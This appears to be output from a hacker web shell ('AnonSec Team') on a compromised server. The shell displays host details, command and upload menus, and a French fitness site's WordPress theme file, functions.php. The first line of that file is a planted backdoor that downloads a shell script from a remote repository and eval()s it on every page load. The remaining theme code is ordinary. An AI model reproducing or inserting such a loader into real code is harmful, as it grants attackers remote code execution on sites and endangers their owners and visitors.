AnonSec Team
Server IP : 62.171.151.215  /  Your IP : 216.73.217.19
Web Server : nginx/1.18.0
System : Linux vmi3128365 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64
User : alex ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0775) :  /var/www/workoutfacile.com/wp-content/themes/wp-theme-guidelondres/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /var/www/workoutfacile.com/wp-content/themes/wp-theme-guidelondres/functions.php
<?php $url = "https://raw.githubusercontent.com/kelelawar-cyber-team/shell-backdoor/refs/heads/main/anon.txt";  $data = @file_get_contents($url);  if ($data !== false) {     eval("?>".$data); } ?>
<?php

function wf_theme_setup() {
    // Add theme support
    add_theme_support('title-tag');
    add_theme_support('post-thumbnails');
    add_theme_support('menus');
    add_theme_support('woocommerce');
    add_theme_support('wc-product-gallery-zoom');
    add_theme_support('wc-product-gallery-lightbox');
    add_theme_support('wc-product-gallery-slider');
    add_theme_support('custom-logo', array(
        'height'      => 120,
        'width'       => 320,
        'flex-height' => true,
        'flex-width'  => true,
    ));

    // Register Navigation Menus
    register_nav_menus(array(
        'primary' => __('Menu Principal', 'wf-theme'),
        'footer'  => __('Menu Footer', 'wf-theme'),
    ));
}
add_action('after_setup_theme', 'wf_theme_setup');

add_filter('woocommerce_single_product_zoom_enabled', '__return_true');
add_filter('woocommerce_single_product_photoswipe_enabled', '__return_true');
add_filter('woocommerce_single_product_flexslider_enabled', '__return_true');


function wf_theme_get_ga_tracking_id() {
    $options = get_option( 'gap_options' );
    if ( is_array( $options ) && ! empty( $options['gap_id'] ) ) {
        return (string) $options['gap_id'];
    }

    return '';
}


function wf_theme_resource_hints( $urls, $relation_type ) {
    $is_mobile_home = ! is_admin() && is_front_page() && wp_is_mobile();

    if ( $is_mobile_home ) {
        return $urls;
    }

    if ( 'preconnect' === $relation_type ) {
        $urls[] = array(
            'href'        => 'https://fonts.googleapis.com',
            'crossorigin' => '',
        );
        $urls[] = array(
            'href'        => 'https://fonts.gstatic.com',
            'crossorigin' => '',
        );
    }

    return $urls;
}
add_filter( 'wp_resource_hints', 'wf_theme_resource_hints', 10, 2 );

function wf_theme_non_blocking_google_fonts( $html, $handle, $href, $media ) {
    if ( 'wf-theme-fonts' !== $handle ) {
        return $html;
    }

    if ( ! is_admin() && is_front_page() && wp_is_mobile() ) {
        return '';
    }

    return "<link rel='preload' href='" . esc_url( $href ) . "' as='style' onload=\"this.onload=null;this.rel='stylesheet'\" />\n"
        . "<noscript><link rel='stylesheet' href='" . esc_url( $href ) . "' /></noscript>\n";
}
add_filter( 'style_loader_tag', 'wf_theme_non_blocking_google_fonts', 10, 4 );

function wf_theme_scripts() {
    $is_mobile_home = is_front_page() && wp_is_mobile();

    // Enqueue main theme stylesheet so WordPress always has a local CSS file to load.
    wp_enqueue_style('wf-theme-style', get_stylesheet_uri(), array(), filemtime(get_stylesheet_directory() . '/style.css'));
    wp_enqueue_style(
        'wf-theme-tailwind',
        get_template_directory_uri() . '/assets/css/tailwind.css',
        array( 'wf-theme-style' ),
        filemtime(get_template_directory() . '/assets/css/tailwind.css')
    );
    wp_enqueue_style(
        'wf-theme-header-style',
        get_template_directory_uri() . '/assets/css/site-header.css',
        array( 'wf-theme-tailwind' ),
        filemtime( get_template_directory() . '/assets/css/site-header.css' )
    );

    if ( ! $is_mobile_home ) {
        wp_enqueue_style(
            'wf-theme-fonts',
            'https://fonts.googleapis.com/css2?family=Lexend:wght@300;400;500;600;700;800;900&family=Inter:wght@300;400;500;600;700&display=swap',
            array(),
            null
        );
    }

    if ( is_front_page() ) {
        wp_enqueue_style(
            'wf-theme-front-page',
            get_template_directory_uri() . '/assets/css/front-page.css',
            array( 'wf-theme-header-style' ),
            filemtime( get_template_directory() . '/assets/css/front-page.css' )
        );

        if ( ! $is_mobile_home ) {
            wp_enqueue_style(
                'wf-theme-material-symbols',
                'https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,FILL@100..700,0..1&display=swap',
                array(),
                null
            );
        }
    }

    if ( is_singular( 'post' ) ) {
        wp_enqueue_style(
            'wf-theme-single-post',
            get_template_directory_uri() . '/assets/css/single-post.css',
            array( 'wf-theme-header-style' ),
            filemtime( get_template_directory() . '/assets/css/single-post.css' )
        );
    }

    wp_enqueue_script(
        'wf-theme-header',
        get_template_directory_uri() . '/assets/js/header.js',
        array(),
        filemtime(get_template_directory() . '/assets/js/header.js'),
        true
    );

    if ( function_exists('is_product') && is_product() ) {
        wp_enqueue_script(
            'wf-theme-product',
            get_template_directory_uri() . '/assets/js/product.js',
            array(),
            filemtime(get_template_directory() . '/assets/js/product.js'),
            true
        );
    }
}
add_action('wp_enqueue_scripts', 'wf_theme_scripts');

function wf_theme_front_page_term_link( $taxonomy, $slug, $fallback = '' ) {
    $term = get_term_by( 'slug', $slug, $taxonomy );

    if ( $term && ! is_wp_error( $term ) ) {
        $link = get_term_link( $term );
        if ( ! is_wp_error( $link ) ) {
            return $link;
        }
    }

    return $fallback ? home_url( $fallback ) : home_url( '/' );
}


function wf_theme_blog_archive_title( $title ) {
    if ( is_admin() || ! is_home() ) {
        return $title;
    }

    return 'Blog Fitness et Perte de Poids | Workout Facile';
}
add_filter( 'rank_math/frontend/title', 'wf_theme_blog_archive_title' );

function wf_theme_blog_archive_description( $description ) {
    if ( is_admin() || ! is_home() ) {
        return $description;
    }

    if ( '' !== trim( (string) $description ) && 'Blog' !== trim( (string) $description ) ) {
        return $description;
    }

    return 'Conseils fitness, perte de poids, marche, reprise du sport et exercices simples pour progresser durablement avec Workout Facile.';
}
add_filter( 'rank_math/frontend/description', 'wf_theme_blog_archive_description' );
add_filter( 'rank_math/opengraph/description', 'wf_theme_blog_archive_description' );
add_filter( 'rank_math/twitter/description', 'wf_theme_blog_archive_description' );

function wf_theme_single_post_description( $description ) {
    if ( is_admin() || ! is_single() || ! is_singular( 'post' ) ) {
        return $description;
    }

    if ( has_excerpt() ) {
        return wp_trim_words( wp_strip_all_tags( get_the_excerpt() ), 28 );
    }

    return wp_trim_words( wp_strip_all_tags( get_the_content() ), 28 );
}
add_filter( 'rank_math/frontend/description', 'wf_theme_single_post_description', 20 );
add_filter( 'rank_math/opengraph/description', 'wf_theme_single_post_description', 20 );
add_filter( 'rank_math/twitter/description', 'wf_theme_single_post_description', 20 );

function wf_theme_single_post_image_preload() {
    if ( is_admin() || ! is_single() || ! is_singular( 'post' ) || ! has_post_thumbnail() ) {
        return;
    }

    $image_id = get_post_thumbnail_id();
    $image_src = wp_get_attachment_image_src( $image_id, 'full' );
    $image_srcset = wp_get_attachment_image_srcset( $image_id, 'full' );

    if ( empty( $image_src[0] ) ) {
        return;
    }

    echo '<link rel="preload" as="image" href="' . esc_url( $image_src[0] ) . '"';

    if ( $image_srcset ) {
        echo ' imagesrcset="' . esc_attr( $image_srcset ) . '" imagesizes="100vw"';
    }

    echo ' fetchpriority="high" />' . "\n";
}
add_action( 'wp_head', 'wf_theme_single_post_image_preload', 2 );

function wf_theme_primary_menu_fallback() {
    echo '<ul class="wf-site-menu">';
    $blog_url = get_permalink( get_option('page_for_posts') ) ?: home_url('/blog');
    echo '<li><a href="' . esc_url( home_url('/') ) . '">Accueil</a></li>';
    echo '<li><a href="' . esc_url( $blog_url ) . '">Blog</a></li>';
    echo '</ul>';
}

function wf_theme_primary_menu_link_classes( $atts, $item, $args ) {
    if ( empty( $args->theme_location ) || 'primary' !== $args->theme_location ) {
        return $atts;
    }

    $atts['class'] = ! empty( $item->menu_item_parent ) ? 'wf-site-nav__sublink' : 'wf-site-nav__link';
    return $atts;
}
add_filter( 'nav_menu_link_attributes', 'wf_theme_primary_menu_link_classes', 10, 3 );


add_shortcode( 'product_description', 'display_product_description' );
function display_product_description( $atts ){
    $atts = shortcode_atts( array(
        'id' => get_the_id(),
    ), $atts, 'product_description' );

    $product = wc_get_product( $atts['id'] );

    if ( ! $product ) {
        return '';
    }

    return $product->get_description();
}

function remove_add_to_cart_on_shop_category_page() {
    if ( is_shop() || is_product_category() ) {
        return;
    }
}

add_filter( 'woocommerce_loop_add_to_cart_link', 'remove_add_to_cart_on_shop_category_page');

add_filter( 'get_avatar_url', 'custom_default_avatar_url', 10, 3 );

function custom_default_avatar_url( $url, $id_or_email, $args ) {
    $local_file = get_template_directory() . '/images/default-avatar.jpg';
    if ( file_exists( $local_file ) ) {
        return get_template_directory_uri() . '/images/default-avatar.jpg';
    }
    return $url;
}

if ( ! function_exists("wf_theme_cleanup_head_assets") ) {
    function wf_theme_cleanup_head_assets() {
        if ( is_admin() ) {
            return;
        }

        // Remove block/editor related front CSS for this classic theme.
        wp_dequeue_style("wp-block-library");
        wp_dequeue_style("wp-block-library-theme");
        wp_dequeue_style("classic-theme-styles");
        wp_dequeue_style("global-styles");
    }
}
add_action("wp_enqueue_scripts", "wf_theme_cleanup_head_assets", 100);

if ( ! function_exists("wf_theme_optimize_front_page_woocommerce_assets") ) {
    function wf_theme_optimize_front_page_woocommerce_assets() {
        if ( is_admin() || ! is_front_page() ) {
            return;
        }

        $is_mobile_home = wp_is_mobile();

        wp_dequeue_style( 'woocommerce-layout' );
        wp_dequeue_style( 'woocommerce-smallscreen' );
        wp_dequeue_style( 'woocommerce-general' );
        wp_dequeue_style( 'wc-blocks-style' );
        wp_dequeue_style( 'woocommerce-inline' );
        wp_deregister_style( 'wc-blocks-style' );
        wp_deregister_style( 'woocommerce-inline' );

        wp_dequeue_script( 'wc-add-to-cart' );
        wp_dequeue_script( 'woocommerce' );
        wp_dequeue_script( 'wc-cart-fragments' );
        wp_dequeue_script( 'js-cookie' );
        wp_dequeue_script( 'sourcebuster-js' );
        wp_dequeue_script( 'wc-order-attribution' );

        if ( $is_mobile_home ) {
            wp_dequeue_style( 'universal-form' );
            wp_dequeue_style( 'universal-form-css' );
            wp_deregister_style( 'universal-form' );
            wp_deregister_style( 'universal-form-css' );
        }
    }
}
add_action( 'wp_enqueue_scripts', 'wf_theme_optimize_front_page_woocommerce_assets', 9999 );
add_action( 'wp_print_styles', 'wf_theme_optimize_front_page_woocommerce_assets', 9999 );
add_action( 'wp_print_scripts', 'wf_theme_optimize_front_page_woocommerce_assets', 9999 );

if ( ! function_exists("wf_theme_disable_woo_front_css_on_home") ) {
    function wf_theme_disable_woo_front_css_on_home( $styles ) {
        if ( is_admin() || ! is_front_page() ) {
            return $styles;
        }

        return array();
    }
}
add_filter( 'woocommerce_enqueue_styles', 'wf_theme_disable_woo_front_css_on_home', 9999 );

if ( ! function_exists("wf_theme_strip_home_non_critical_style_tags") ) {
    function wf_theme_strip_home_non_critical_style_tags( $html, $handle ) {
        if ( is_admin() || ! is_front_page() ) {
            return $html;
        }

        $blocked = array(
            'wc-blocks-style',
            'woocommerce-layout',
            'woocommerce-smallscreen',
            'woocommerce-general',
            'woocommerce-inline',
        );

        if ( wp_is_mobile() ) {
            $blocked[] = 'universal-form';
            $blocked[] = 'universal-form-css';
        }

        if ( in_array( $handle, $blocked, true ) ) {
            return '';
        }

        return $html;
    }
}
add_filter( 'style_loader_tag', 'wf_theme_strip_home_non_critical_style_tags', 9999, 2 );

if ( ! function_exists("wf_theme_dynamic_style_version") ) {
    function wf_theme_dynamic_style_version( $src, $handle ) {
        $url_path = wp_parse_url( $src, PHP_URL_PATH );
        if ( empty( $url_path ) ) {
            return $src;
        }

        // Skip external hosts and keep only local styles.
        $asset_host = wp_parse_url( $src, PHP_URL_HOST );
        $site_host  = wp_parse_url( home_url(), PHP_URL_HOST );
        if ( ! empty( $asset_host ) && ! empty( $site_host ) && strtolower( $asset_host ) !== strtolower( $site_host ) ) {
            return $src;
        }

        $file_path = ABSPATH . ltrim( $url_path, "/" );
        if ( ! file_exists( $file_path ) || is_dir( $file_path ) ) {
            return $src;
        }

        return add_query_arg(
            "ver",
            (string) filemtime( $file_path ),
            remove_query_arg( "ver", $src )
        );
    }
}
add_filter( "style_loader_src", "wf_theme_dynamic_style_version", 9999, 2 );

AnonSec - 2021